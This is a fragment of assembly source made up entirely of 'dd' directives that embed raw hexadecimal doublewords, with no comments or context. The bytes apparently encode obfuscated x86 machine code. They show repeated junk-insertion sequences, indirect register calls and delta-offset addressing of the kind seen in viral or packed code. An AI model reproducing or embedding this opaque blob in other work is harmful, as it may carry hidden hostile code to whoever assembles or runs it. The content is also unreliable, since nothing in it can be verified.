		dd 44810424h, 1A0424h, 50400000h, 64F683C3h, 9D6E07CEh
		dd 1A219D89h, 0D0FF0637h, 1D098D31h, 880F0637h,	3, 89DCD980h
		dd 37136585h, 77BF6606h, 0B985C6B1h, 45063722h,	5830Fh
		dd 81660000h, 664137EFh, 0D7BCC181h, 72696968h,	14E88Eh
		dd 587A0000h, 72A17A3Eh, 50C9BBCDh, 5DB57F32h, 5669A89h
		dd 0AE8A52Ah, 37000000h, 8581234Ah, 0E5C691BCh,	0CFB70FD0h
		dd 0AE9595Ah, 64000000h, 2402877h, 4E564F22h, 49B5FFF2h
		dd 0F06371Bh, 858DCFBFh, 6373A14h, 2DA18D8Bh, 0D0FF0637h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 1EC35747h
		dd 6810Fh, 0BD8B0000h, 6370D85h, 9223B960h, 0BD037EF6h
		dd 6370D21h, 29BD8B61h,	8906372Ah, 37042D85h, 0F2816606h
		dd 85C6CBAEh, 63722B9h,	21BD8944h, 68063713h, 0B8F2EC64h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 28C35343h
		dd 8F034445h, 0BE85926h, 4E000000h, 0D3D7B2A2h,	7ADFAE80h
		dd 0D1817848h, 24A18D09h, 49B5FF59h, 0BF06371Bh, 50CA2E46h
		dd 3A14858Dh, 958B0637h, 6370B71h, 810FD0FFh, 6, 5D10C781h
		dd 858977C3h, 6370BB1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0EC35141h, 0D65C8128h, 89A2EFDCh, 85C6F951h
		dd 63722B9h, 758D8943h,	6806371Fh, 0C0764AA7h, 68B0Fh
		dd 0C2810000h, 5DAD7B6h, 1B49B5FFh, 958B0637h, 6371C35h
		dd 0A618D8Bh, 858D0637h, 6373A14h, 0D0FFCB8Bh, 0AE9h, 8693F500h
		dd 0B586B97Fh, 890ACB2Eh, 371E91BDh, 75858906h,	0E806370Bh
		dd 9, 5B254D6Fh, 641AC4CCh, 0AE8B2h, 3E190000h,	0E5D2CC49h
		dd 4910B764h, 5A74CA80h, 0D8BD805Ah, 639FEh, 10E840Fh
		dd 0BF0F0000h, 8E8FFh, 9AC30000h, 35051338h, 8B66FE19h
		dd 858D59CEh, 639FEBAh,	14E9h, 53036800h, 0B3F489DFh, 7123FAC3h
		dd 0E94995EEh, 0F7ADCA6Bh, 6E95048h, 97000000h,	0E95D563h
		dd 80016A98h, 6A9EC9h, 2F8D958Bh, 8D890637h, 6372A91h
		dd 8D03006Ah, 6372335h,	11E9h, 3A403000h, 623127FCh, 0F84A6A43h
		dd 64B4F56Ch, 95FF2FA4h, 6372225h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0B6C35141h,	7A041FBEh, 8D8B060Fh
		dd 6373315h, 2EF58589h,	85890637h, 637292Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 8C35646h, 0B2211CA2h
		dd 0AB04FED4h, 30DEBF4Ch, 0FF6A519Bh, 0FF10D580h, 37292DB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0CBF600F4h, 0FABF0FB2h, 0ED95FFh, 8D8B0637h
		dd 6370F11h, 0F50C08Bh,	8359FFBFh, 371929BDh, 9750006h
		dd 1FE1BD83h, 74000637h, 8B535019h, 7D1B8C0h, 85890000h
		dd 6371B41h, 0B10C9D8Dh, 0D3FF0639h, 0BD83585Bh, 6371FE1h
		dd 50177400h, 7D1B853h,	85890000h, 6371B41h, 0ADFB9D8Dh
		dd 0D3FF0639h, 8589585Bh, 637208Dh, 9C29B966h, 0DE8h, 71DB1900h
		dd 984D0856h, 6229D882h, 810FEECBh, 3, 5A8BCD80h, 8166C08Bh
		dd 0C6C35FD1h, 3722B985h, 68FC4706h, 93C8F7C1h,	0E7E18166h
		dd 49B5FF51h, 6A06371Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 7403C357h, 47968122h
		dd 0FA8BA54Fh, 8DFFBF0Fh, 373A1485h, 41B96606h,	0E9D0FF9Ch
		dd 6, 0D41B1418h, 12E92DE1h, 0D3000000h, 805EEA56h, 0E5F46B03h
		dd 6118E456h, 101DB53Fh, 14E8505Fh, 0C4000000h,	0E86E384Fh
		dd 805F722Bh, 0BB5B6ABAh, 6A9907CFh, 0BA9C338h,	3701B995h
		dd 858D5A06h, 63A02FBh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 93C35646h, 3326198Dh,	66E1FFA7h, 1B458589h
		dd 0C70637h, 94h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0D8C35545h, 0AE49008Dh,	103B8546h, 0ADD9D31h, 0F7810637h
		dd 6D073895h, 8DE1B158h, 3A02FBB5h, 0EDDF8106h,	5606ED85h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0BCC35242h
		dd 0FE95Bh, 42D60000h, 8448F64Fh, 39B6D77Fh, 0CFE7B40Eh
		dd 50D0FFF3h, 0D118D8Bh, 8D590637h, 3A02FB85h, 0D78B6606h
		dd 6047883h, 1B850Fh, 85890000h, 6372869h, 1AB5958Bh, 85C70637h
		dd 63A038Fh, 1,	9DE78166h, 79BD8395h, 63729h, 73850Fh
		dd 8B660000h, 8FBD83CEh, 63A03h, 63850Fh, 8D0F0000h, 19h
		dd 14E9h, 8F253900h, 8B7F0828h,	510994CCh, 186C6D00h, 0E7053599h
		dd 69BD8376h, 63725h, 37840Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0E4B90DC3h
		dd 7585C7FCh, 6371Ah, 53000000h, 8B0F60h, 66000000h, 616805B8h
		dd 0DB8C665Fh, 6E9h, 0ABD5B100h, 66706B1Fh, 0C3F6D08Bh
		dd 42840F04h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 357C350h, 81E22AF0h
		dd 0F2F8E4C1h, 9D85C769h, 63708h, 1000000h, 37116D9Dh
		dd 0E5BD8006h
		dd 639FEh, 4850Fh, 0B9660000h, 85C6C794h, 63722B9h, 9958947h
		dd 68063712h, 0E3E45B86h, 68A0Fh, 8D2B0000h, 6371F81h
		dd 0CE9BD8Bh, 0B5FF0637h, 6371B49h, 32437DBAh, 14858D5Ch
		dd 8B06373Ah, 372DC995h, 66D0FF06h, 468D78Bh, 8D000001h
		dd 3723DD9Dh, 1BD2B06h,	53063725h, 2641B529h, 0D0FF0637h
		dd 858DC88Bh, 63723DDh,	1C29B509h, 0F500637h, 289h, 8DD68B00h
		dd 39FE9785h, 31BD2306h, 50063713h, 6E9h, 0E8F74D00h, 8D4D958Ah
		dd 39F56A85h, 19CE8006h, 0F8A0F50h, 0E8000000h,	7, 5FE38BB4h
		dd 60BC55CBh, 95FF5A61h, 63707A9h, 0EB37BA66h, 0F0CC483h
		dd 68Ah, 0C0F78100h, 6A42DCC1h,	806800h, 36A0000h, 6A006Ah
		dd 68h,	6A858D80h, 500639F5h, 136595FFh, 85890637h, 639FE7Ah
		dd 22B985C6h, 68470637h, 0C7B15E87h, 1B49B5FFh,	858D0637h
		dd 6373A14h, 6AD0FFh, 0FE7AB5FFh, 0D0FF0639h, 8BFABF0Fh
		dd 3711A995h, 37D03D06h, 830F0000h, 1Dh, 0FFC88B66h, 39FE7AB5h
		dd 5DB96606h, 7595FFDAh, 0F06370Bh, 0F1E9FABFh,	8B000000h
		dd 7AB5FFD7h, 0E90639FEh, 5, 0E8175784h, 7595FFAAh, 0F06370Bh
		dd 8166FAB7h, 6A9025D9h, 0EE900h, 0B3AB0000h, 3C326768h
		dd 11FB06A5h, 0E403AB59h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0EF8AF3C3h, 0BE8006Ah
		dd 64000000h, 0C6ACDA5Eh, 5D3937AAh, 12E9B465h,	6F000000h
		dd 544538CCh, 2A770629h, 1A1012BFh, 41811D8h, 6A591Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D6C35343h
		dd 0E9FBFEB5h, 9657FDC5h, 0F1950BCDh, 6A063717h, 0E9006A00h
		dd 0Bh,	0EA8F7751h, 187B252Dh, 29CA3A3Eh, 371C85B5h, 7E858D06h
		dd 600639FEh, 7A4584BEh, 61E78A58h, 6595FF50h, 8B063713h
		dd 3733458Dh, 0FFF88306h, 175850Fh, 85010000h, 63704D9h
		dd 0B488858Dh, 6A0639h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0D421E6C3h, 8D8906A7h, 63732DDh
		dd 0CB8AD0FFh, 63BF006Ah, 6A125D49h, 6AF98B00h,	858D8B00h
		dd 6A06371Ch, 6D8D2B00h, 6A063704h, 0E8BF6600h,	6A006A26h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0F2FEC352h, 5F7AB4E3h, 6880F18h, 89000000h
		dd 372B39BDh, 0D7BF0F06h, 0FE7E858Dh, 9D890639h, 637105Dh
		dd 8E850h, 0CAB40000h, 42704D50h, 8B0FC659h, 1,	95FF5FF9h
		dd 6371365h, 1318D8Bh, 0BD890637h, 6370899h, 0FFFF883h
		dd 0AE85h, 9AC98100h, 8D59FE32h, 39F886B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8BEAF043h, 37130595h, 2B858D06h, 890639A3h, 37260D85h
		dd 718D3106h, 0FF063729h, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E8A7D766h
		dd 0Dh,	3040860Ah, 82FE2A54h, 0A5F1664Eh, 0D9805F79h, 1958B99h
		dd 6A063718h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 3830F1Fh,	80000000h, 95FFA0CEh, 637042Dh
		dd 89CEBF0Fh, 39FE7A85h, 82BA6606h, 0E9006A92h,	5, 77B7D1B4h
		dd 72858DA5h, 500639FEh, 1FC19531h, 46A0637h, 816652F8h
		dd 5AE632D1h, 6FD858Dh,	81660637h, 506A2AE1h, 6A66C280h
		dd 6AF500h, 81B6016Ah, 0FE7AB5FFh, 95890639h, 6371AD5h
		dd 0BB195FFh, 67B90637h, 0E914163Eh, 1BC8h, 1C08BF8h, 3708C58Dh
		dd 29BD8306h, 63719h, 0BD830975h, 6371FE1h, 50197400h
		dd 0B8C08B53h, 7D2h, 1B418589h,	9D8D0637h, 639B10Ch, 585BD3FFh
		dd 1FE1BD83h, 74000637h, 0B8535017h, 7D2h, 1B418589h, 9D8D0637h
		dd 639ADFBh, 585BD3FFh,	0B7EA8166h, 53006AA0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 947E429Fh
		dd 0D981EB23h, 551F4564h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 563EAFC3h, 0FE9h, 36F01F00h
		dd 2548ED0Dh, 5FF0FE28h, 1BFAF7Eh, 2361BF5Ah, 8529283Bh
		dd 6370FB9h, 89D85C7h, 10637h, 0BF660000h, 0B868597Bh
		dd 0FFCEE4E7h, 372011B5h, 14858D06h, 0FF06373Ah, 758589D0h
		dd 6806372Dh, 0C005DBD4h, 2011B5FFh, 858D0637h,	6373A14h
		dd 8589D0FFh, 63722E1h,	0F323858Dh, 0FF500639h,	371B49B5h
		dd 0F595FF06h, 0B063729h, 8B0B74C0h, 0D6858DD8h, 50063A02h
		dd 858DD3FFh, 63A02D6h,	9388366h, 85C70A75h, 637258Dh
		dd 1, 49995FFh,	0FF250637h, 83000000h, 0A7305F8h, 95D85C7h
		dd 10637h, 13E90000h, 27000000h, 94FB9BE3h, 55AF742Eh
		dd 60D22968h, 0C3AC2D3Bh, 95898A3Dh, 63718A9h, 0FEE5BD80h
		dd 0F000639h, 0F85h, 0D4BA6600h, 1A42E93Eh, 0E7810000h
		dd 380A45A5h, 258DBD83h, 0F000637h, 0DC85h, 0B5B50900h
		dd 8D06371Eh, 39FEAF85h, 0B1DA8106h, 507195D1h,	8BD25EBAh
		dd 89016A75h, 3721E58Dh, 36C18106h, 6A481FA1h, 0BAFB8B00h
		dd 79061CB0h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0E680EFC3h, 2595FF4Fh, 8B063722h
		dd 371A31BDh, 0D9858906h, 6A0639FEh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8081C355h
		dd 6AF81BCEh, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0E3ABF9B3h, 6677873Fh, 90F5C781h
		dd 0FED9B5FFh, 0E3B50639h, 0ED95FFh, 6A0637h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B5AE7C3h
		dd 371A0DBDh, 0EA858D06h, 560639F2h, 0E6EECEBFh, 89505A4Ah
		dd 37208DBDh, 1D95FF06h, 2906370Bh, 37125195h, 74858906h
		dd 0F0639F3h, 686h, 0D1BD8900h,	0E906371Fh, 0Ah, 4E2BB4D2h
		dd 806F812Dh, 858D922Ah, 639F2F7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0C8C35545h,	0C4795536h, 502D4971h
		dd 7E8h, 7A6B7900h, 1FBB8B4Ch, 1DE8160h, 0E85D981Bh, 8
		dd 3BFA6BF9h, 0EAC8D35Fh, 0FF59615Ah, 39F374B5h, 95FFF806h
		dd 63729F5h, 192D958Bh,	85890637h, 6371BE1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 36C35545h, 3893449h
		dd 0CE91302h, 0D0000000h, 0B47F2BD3h, 14320F66h, 8B8764B5h
		dd 37333995h, 65858D06h, 570639F3h, 5FF9B70Fh, 6850Fh
		dd 9D290000h, 63701B9h,	11BD8950h, 0FF063709h, 39F374B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0FB1280C7h, 290C794Dh, 0BF0F240Eh, 0F595FFFEh
		dd 0B9063729h, 2F9B6E91h, 0F3888589h, 6A0639h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 2BF335C3h, 3725B1BDh, 65958906h, 8D063701h, 39F34485h
		dd 718D2906h, 5006370Bh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 59C35747h, 0F374B5FFh, 0E9800639h, 0F595FFACh
		dd 89063729h, 37223595h, 80858906h, 890639F3h, 370091BDh
		dd 8DD78B06h, 39F33785h, 2DB52906h, 50063723h, 10D9589h
		dd 800F0637h, 6, 2221BD03h, 0B5FF0637h,	639F374h, 0B15BD89h
		dd 95FF0637h, 63729F5h,	0A95BD8Bh, 85890637h, 639F384h
		dd 8704E181h, 858D5388h, 639F352h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0CDC35141h,	5DC7F6A4h, 6B661813h
		dd 9DBD8BA9h, 8B063704h, 3700F18Dh, 8D015006h, 6370FA1h
		dd 0F374B5FFh, 81660639h, 2BA3E1D7h, 3732BD8Dh,	0F595FF06h
		dd 53063729h, 198A0Fh, 14E90000h, 0B000000h, 60F0194Fh
		dd 0DAFE3269h, 0ABACB5CCh, 0B12FE754h, 5F9C552Bh, 28618589h
		dd 64B20637h, 0F306858Dh, 870F0639h, 0Eh, 9E9h,	0AD14EA00h
		dd 58619B11h, 8050F40Fh, 0B5FF2FC9h, 639F374h, 13498D89h
		dd 95890637h, 6370195h,	29F595FFh, 0CF8B0637h, 0F3788589h
		dd 61BA0639h, 8D3A7BAFh, 39F31585h, 50D38B06h, 0EAEDCA81h
		dd 0B5FF0E26h, 639F374h, 138E0Fh, 860F0000h, 0Dh, 7E8h
		dd 73BDB800h, 9F48275Dh, 0F595FF5Ah, 81063729h,	8428B6F7h
		dd 7C858933h, 800639F3h, 468CCEAh, 66000001h, 0D065CA81h
		dd 0F40C858Dh, 95310639h, 637007Dh, 858DFC50h, 639F510h
		dd 0BE9h, 0E328D000h, 64FAEA6Ah, 85F14692h, 10E950h, 93A60000h
		dd 67D609h, 0F92BE5A3h,	7FF55973h, 95FFE41Eh, 6372DADh
		dd 8E8h, 0FAD52600h, 0C1521E45h, 0CE9CEh, 0A3350000h, 3475AC8h
		dd 5C020260h, 85590FA9h, 0D850FC0h, 0E9000000h,	8, 0E03DF16Eh
		dd 0FDB0BD8Fh, 0FEE5BD80h, 0F000639h, 2285h, 11890F00h
		dd 0E9000000h, 0Ch, 63D14819h, 0B69423EFh, 9A1317C8h, 15B3E9h
		dd 1DBD8B00h, 8306372Eh, 37258DBDh, 850F0006h, 14h, 8396F680h
		dd 3A038FBDh, 840F0006h, 47h, 6305BF66h, 0F3A9858Dh, 0DE800639h
		dd 157EE949h, 95890000h, 6371E19h, 0E9CF8B66h, 52h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 66C35242h, 59BA661Eh
		dd 7DBD8961h, 8D06372Eh, 39F39485h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 54862672h
		dd 66C08C10h, 0E950D08Bh, 0Eh, 76C12A19h, 15BDD2D4h, 0BE3C3D15h
		dd 858D9A45h, 639F40Ch,	0B70FEB8Ah, 6A50D0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 329A3DC3h
		dd 4E48F0B1h, 8DBD83ACh, 63725h, 55840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 950B8FC3h, 6370D89h,	58F0Fh,	81660000h, 8DF428EFh, 39F53285h
		dd 9E806h, 100F0000h, 0A6C8AFF1h, 89418B22h, 370A2D95h
		dd 14E95A06h, 51000000h, 1781BD8Bh, 8D590637h, 39F51B85h
		dd 0DDBD8B06h, 50063717h, 232D8589h, 858D0637h,	639F56Ah
		dd 4C98166h, 0DF81604Dh, 577AFF78h, 1CED958Bh, 50610637h
		dd 0F19BD0Bh, 95FF0637h, 63707A9h, 89BFF781h, 0C4835262h
		dd 51006A10h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 35B2686Bh, 0BD29C08Bh, 637200Dh,	1929BD83h
		dd 75000637h, 0E1BD8309h, 6371Fh, 53501974h, 0D3B8C08Bh
		dd 89000007h, 371B4185h, 0C9D8D06h, 0FF0639B1h,	83585BD3h
		dd 371FE1BDh, 17740006h, 0D3B85350h, 89000007h,	371B4185h
		dd 0FB9D8D06h, 0FF0639ADh, 6A585BD3h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0D24C355h
		dd 1B4D8D29h, 8B0F0637h, 5, 1E33B1BAh, 6AC08B6Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0BF07C353h, 0BBF471E9h, 8B6685B6h, 94BD81FEh, 6F0639F3h
		dd 0F616572h, 0A884h, 0BE800h, 0C93C0000h, 0AD9032D3h
		dd 16436E55h, 8D8589B3h, 5A06371Bh, 0E1AAB966h,	0F40C858Dh
		dd 8D500639h, 39F54985h, 858D5006h, 639F56Ah, 0A995FF50h
		dd 83063707h, 85C60CC4h, 63722B9h, 184F6844h, 0B5FF96A3h
		dd 6371B49h, 3A14858Dh,	0D0FF0637h, 858DD88Bh, 639F56Ah
		dd 8DD3FF50h, 39F39485h, 858D5006h, 639F40Ch, 8DBD8350h
		dd 63725h, 858D0874h, 639F532h,	858D06EBh, 639F51Bh, 6A858D50h
		dd 500639F5h, 7A995FFh,	0C4830637h, 0BDBD0910h,	0F063725h
		dd 289h, 8BD38A00h, 37046995h, 9995FF06h, 6A063704h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0DC1C351h, 6E824BEh,	2B000000h, 0E82363E5h, 0FF255986h
		dd 0E8000000h, 9, 41CF2579h, 1207C290h,	0DA8008h, 83EE8A5Ah
		dd 830F05F8h, 31h, 58B0Fh, 0C9BA0000h, 8925F519h, 372589BDh
		dd 5D85C706h, 1063709h,	66000000h, 858DF88Bh, 639F3C8h
		dd 69E9D68Bh, 23000000h, 3720458Dh, 8DBD8306h, 63725h
		dd 3F840Fh, 0BD8B0000h,	63728D9h, 8BA8D981h, 858D2C10h
		dd 639F3F3h, 0F198D8Bh,	8B0F0637h, 0Ch,	68F0Fh,	958B0000h
		dd 6372A85h, 27E9h, 0BE900h, 582A0000h,	7100A50Eh, 0E8E7074Dh
		dd 0D5858D5Ah, 0F0639F3h, 688h,	9B50900h, 66063701h, 0F20ECA81h
		dd 0F4088589h, 0BD090639h, 6371FE5h, 0D29B589h,	0BD830637h
		dd 637258Dh, 5E850F00h,	0E9000000h, 14h, 0F545FB4Ah, 0B97F8693h
		dd 0CB2EB586h, 6F73470Ah, 8DC41582h, 38FBD83h, 0F00063Ah
		dd 4284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 4DCC72E6h, 14E9h,	0B6954D00h, 0E2EF9CEFh
		dd 58A74630h, 5ACE4165h, 7207624Dh, 114EE923h, 99BA0000h
		dd 0E9763869h, 4FAh, 671950Bh, 0C08B0637h, 29BD83F8h, 63719h
		dd 0BD830975h, 6371FE1h, 50197400h, 0B8C08B53h,	7D4h, 1B418589h
		dd 9D8D0637h, 639B10Ch,	585BD3FFh, 1FE1BD83h, 74000637h
		dd 0B8535017h, 7D4h, 1B418589h,	9D8D0637h, 639ADFBh, 585BD3FFh
		dd 9E8h, 598C9700h, 8159D758h, 0BD8B4DE3h, 63723C1h, 5E95Fh
		dd 34D50000h, 8B52ECF5h, 0A98D89C0h, 6806371Bh,	0F003Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0ECC35040h
		dd 4618D8Bh, 6E90637h, 0F7000000h, 6E64964Ch, 6AFB8B5Ch
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 791A93C9h, 6AD38B33h, 99BD8B00h,	0FF06370Dh
		dd 371BE195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 91C95AC2h, 1E198D0Bh, 0C0850637h
		dd 19850Fh, 14E90000h, 0F4000000h, 14DBB6F9h, 3EA10E7Ch
		dd 0A8EE9A81h, 5EC837B3h, 89DB3696h, 39F38C85h,	6AFE8B06h
		dd 5F28100h, 6A4A6F59h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0DA8B60E8h, 9B5858Bh
		dd 6A610637h, 800F5000h, 6, 8E0Fh, 6A5F0000h, 0E9816600h
		dd 6AA7D0h, 1CCD9D89h, 858D0637h, 639F56Ah, 30119D29h
		dd 0F500637h, 16AFEB7h,	1845BD8Bh, 16A0637h, 5EA0BFB9h
		dd 6A016A35h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 7C69C355h, 86A3CB0Dh, 0F88B660Fh
		dd 0F01FF68h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 630DA492h, 8311C08Bh, 37258DBDh
		dd 840F0006h, 69h, 0BE9h, 65BCD900h, 0E633B7FDh, 0B44DCC72h
		dd 11E9h, 7B67D00h, 54BFDC46h, 29AE22DBh, 0EF108D68h, 858D9596h
		dd 639F3E9h, 0CEC98166h, 68A0FBBh, 8B000000h, 37297D95h
		dd 33E906h, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 59A6C1C3h, 7DE0DB62h, 8B663172h
		dd 0BF858DFBh, 890639F3h, 3704A995h, 95895006h,	637191Dh
		dd 56006A50h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 819531BCh, 0FF063704h, 39F38CB5h, 0F1952B06h
		dd 0FF063717h, 39F37895h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0A6B58ECAh
		dd 0FE8B6675h, 850FC085h, 17h, 0E56DD181h, 61E93412h, 0B000000h
		dd 3730398Dh, 69BD0B06h, 89063728h, 39F39085h, 0F8BF0F06h
		dd 0F390B5FFh, 0ADB10639h, 0E4ACEA81h, 95FF11F3h, 6372861h
		dd 0F13BF281h, 0C0856E0Dh, 2A850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0AD7E6DC3h
		dd 0ECDE80A3h, 8501A06Dh, 63705B1h, 8D8B106Ah, 6371229h
		dd 258DBD83h, 0F000637h, 4984h,	0A59D8900h, 8D06371Dh
		dd 39F3E985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 6066CF34h, 0BD89244Fh, 63705ADh
		dd 3335BD89h, 0F5800637h, 33E914h, 0D38B0000h, 23498589h
		dd 858D0637h, 639F3BFh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 86C35040h, 8BB808BBh,	3709FD8Dh, 0BD315006h
		dd 6371FE9h, 0F38CB5FFh, 39B90639h, 0FF253AAAh,	39F38495h
		dd 58E0F06h, 66000000h,	7092E781h, 850FC085h, 6, 8B5958Bh
		dd 85890637h, 639F390h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0C3C35545h, 8D8B8E71h, 63711F9h, 6A006Ah
		dd 2D9D8D23h, 13E90637h, 8A000000h, 7962D77Bh, 60963ABh
		dd 0ABD3957h, 16D1A519h, 0B5FF9941h, 639F390h, 0FB9BD8Bh
		dd 95FF0637h, 639F37Ch,	850FC085h, 2Ah,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 0ADC35646h, 9F9E4A08h
		dd 52D18175h, 6672B5B4h, 0B5FFF98Bh, 639F390h, 21858D89h
		dd 95FF0637h, 6372861h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 16C35040h, 2E844966h,	8A0F59A4h, 6, 1741BD29h
		dd 0C0850637h, 28850Fh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 4EA34C3h, 0C73D6E67h
		dd 0B966EF2Ah, 6AC879h,	1FFD8D89h, 80680637h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0B009C355h, 0C5AA3CE9h, 36AF98Bh,	6ACB8Bh
		dd 0CD958Bh, 6A0637h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 14h, 0C9C35141h, 20EF8166h, 68D3h,	8D8BC000h
		dd 6371C9Dh, 0F408B5FFh, 95FF0639h, 6371365h, 2F79B589h
		dd 0F8830637h, 0D1850FFFh, 52000005h, 14800Fh, 0FE90000h
		dd 42000000h, 90E48ECBh, 0CF4716EFh, 0BAAAEB53h, 0FF5995CCh
		dd 39FE7685h, 38F0F06h,	80000000h, 0E9817ADEh, 182F5900h
		dd 0FE76BD83h, 0F020639h, 46084h, 2820F00h, 8B000000h
		dd 9F858DD0h, 60005AF5h, 293D958Bh, 0FF610637h,	14E9D0h
		dd 41620000h, 96E90A2Dh, 38D5AC1Fh, 17B8ACD4h, 48F9FEC3h
		dd 858DBD31h, 5AEFF2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 3CC35343h, 0D4375F7Fh, 7A1B529h, 0D0FF0637h
		dd 8166C4B2h, 8B68D5DAh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0FCEC5FEEh, 0DC5D8691h
		dd 0CF8B4A9Ch, 1929BD83h, 75000637h, 0E1BD8309h, 6371Fh
		dd 53501974h, 0D8B8C08Bh, 89000007h, 371B4185h,	0C9D8D06h
		dd 0FF0639B1h, 83585BD3h, 371FE1BDh, 17740006h,	0D8B85350h
		dd 89000007h, 371B4185h, 0FB9D8D06h, 0FF0639ADh, 29585BD3h
		dd 370A2185h, 0E1816606h, 9501176Dh, 6372A15h, 0BA66C08Bh
		dd 3F68B931h, 6A000F00h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0E9AA5816h, 0DD8D8B76h
		dd 6A06371Ch, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0FF6AE328h, 371BE195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 8E9E4h, 7EED0000h, 4670712Dh, 8589E1E7h, 637178Dh, 8B66C085h
		dd 60F560FBh, 0F9C1B70Fh, 85896161h, 639F38Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1FC35747h, 0FDD9B978h
		dd 0C680C783h, 51EA81B4h, 680F43B0h, 0F01FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 71C35646h, 3FEEFB05h
